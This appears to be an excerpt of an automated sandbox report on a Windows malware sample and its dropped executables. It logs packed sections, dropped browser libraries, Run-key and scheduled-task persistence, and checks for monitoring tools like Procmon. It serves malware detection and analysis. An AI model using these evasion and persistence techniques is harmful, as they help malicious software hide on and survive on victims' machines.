Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Unpacked PE file: 11.2.140460b5fe.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W;vtjslccq:EW;bxwwdnnm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;vtjslccq:EW;bxwwdnnm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Unpacked PE file: 12.2.b1c5a9309d.exe.5a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;idubrvtj:EW;utqwspkx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;idubrvtj:EW;utqwspkx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Unpacked PE file: 16.2.b1c5a9309d.exe.5a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;idubrvtj:EW;utqwspkx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;idubrvtj:EW;utqwspkx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Unpacked PE file: 33.2.140460b5fe.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W;vtjslccq:EW;bxwwdnnm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;vtjslccq:EW;bxwwdnnm:EW;.taggant:EW;

Source: random[1].exe.6.dr

Static PE information: 0xF456CF88 [Wed Nov 25 22:45:28 2099 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x2c6b90 should be: 0x2bcfbf
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x2c4844 should be: 0x2cbec4
Source: 6f93831ea2.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: b1c5a9309d.exe.6.dr	Static PE information: real checksum: 0x1d0cb0 should be: 0x1d038e
Source: 140460b5fe.exe.6.dr	Static PE information: real checksum: 0x2c4844 should be: 0x2cbec4
Source: random[2].exe1.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: c867aabc28.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: file.exe	Static PE information: real checksum: 0x2d9751 should be: 0x2dbd4d
Source: 54993b55c5.exe.6.dr	Static PE information: real checksum: 0x2c6b90 should be: 0x2bcfbf
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2d9751 should be: 0x2dbd4d
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d0cb0 should be: 0x1d038e
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: 1255b9ac14.exe.6.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: sqqzsevq
Source: file.exe	Static PE information: section name: yeqzlsyq
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: sqqzsevq
Source: skotes.exe.0.dr	Static PE information: section name: yeqzlsyq
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: xnuzvlhe
Source: random[2].exe.6.dr	Static PE information: section name: tzuttanx
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 1255b9ac14.exe.6.dr	Static PE information: section name:
Source: 1255b9ac14.exe.6.dr	Static PE information: section name: .idata
Source: 1255b9ac14.exe.6.dr	Static PE information: section name:
Source: 1255b9ac14.exe.6.dr	Static PE information: section name: xnuzvlhe
Source: 1255b9ac14.exe.6.dr	Static PE information: section name: tzuttanx
Source: 1255b9ac14.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: idubrvtj
Source: random[1].exe0.6.dr	Static PE information: section name: utqwspkx
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: b1c5a9309d.exe.6.dr	Static PE information: section name:
Source: b1c5a9309d.exe.6.dr	Static PE information: section name: .idata
Source: b1c5a9309d.exe.6.dr	Static PE information: section name:
Source: b1c5a9309d.exe.6.dr	Static PE information: section name: idubrvtj
Source: b1c5a9309d.exe.6.dr	Static PE information: section name: utqwspkx
Source: b1c5a9309d.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name: vtjslccq
Source: random[1].exe1.6.dr	Static PE information: section name: bxwwdnnm
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 140460b5fe.exe.6.dr	Static PE information: section name:
Source: 140460b5fe.exe.6.dr	Static PE information: section name: .idata
Source: 140460b5fe.exe.6.dr	Static PE information: section name: vtjslccq
Source: 140460b5fe.exe.6.dr	Static PE information: section name: bxwwdnnm
Source: 140460b5fe.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name: tgicfqwk
Source: random[2].exe0.6.dr	Static PE information: section name: wuawsnkw
Source: random[2].exe0.6.dr	Static PE information: section name: .taggant
Source: 54993b55c5.exe.6.dr	Static PE information: section name:
Source: 54993b55c5.exe.6.dr	Static PE information: section name: .idata
Source: 54993b55c5.exe.6.dr	Static PE information: section name: tgicfqwk
Source: 54993b55c5.exe.6.dr	Static PE information: section name: wuawsnkw
Source: 54993b55c5.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064D91C push ecx; ret	0_2_0064D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00641359 push es; ret	0_2_0064135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B8D91C push ecx; ret	1_2_00B8D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B8D91C push ecx; ret	2_2_00B8D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B8D91C push ecx; ret	6_2_00B8D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BADEDB push ss; iretd	6_2_00BADEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B8DFC6 push ecx; ret	6_2_00B8DFD9

Source: file.exe	Static PE information: section name: entropy: 7.985736523641253
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.985736523641253
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.983709808349382
Source: random[2].exe.6.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: 1255b9ac14.exe.6.dr	Static PE information: section name: entropy: 7.983709808349382
Source: 1255b9ac14.exe.6.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.9772070886674085
Source: random[1].exe0.6.dr	Static PE information: section name: idubrvtj entropy: 7.952797996162219
Source: b1c5a9309d.exe.6.dr	Static PE information: section name: entropy: 7.9772070886674085
Source: b1c5a9309d.exe.6.dr	Static PE information: section name: idubrvtj entropy: 7.952797996162219

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018433001\1255b9ac14.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7a7de3f1d8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 54993b55c5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 140460b5fe.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b1c5a9309d.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b1c5a9309d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b1c5a9309d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 140460b5fe.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 140460b5fe.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7a7de3f1d8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7a7de3f1d8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 54993b55c5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 54993b55c5.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Process information set: NOOPENFILEERRORBOX
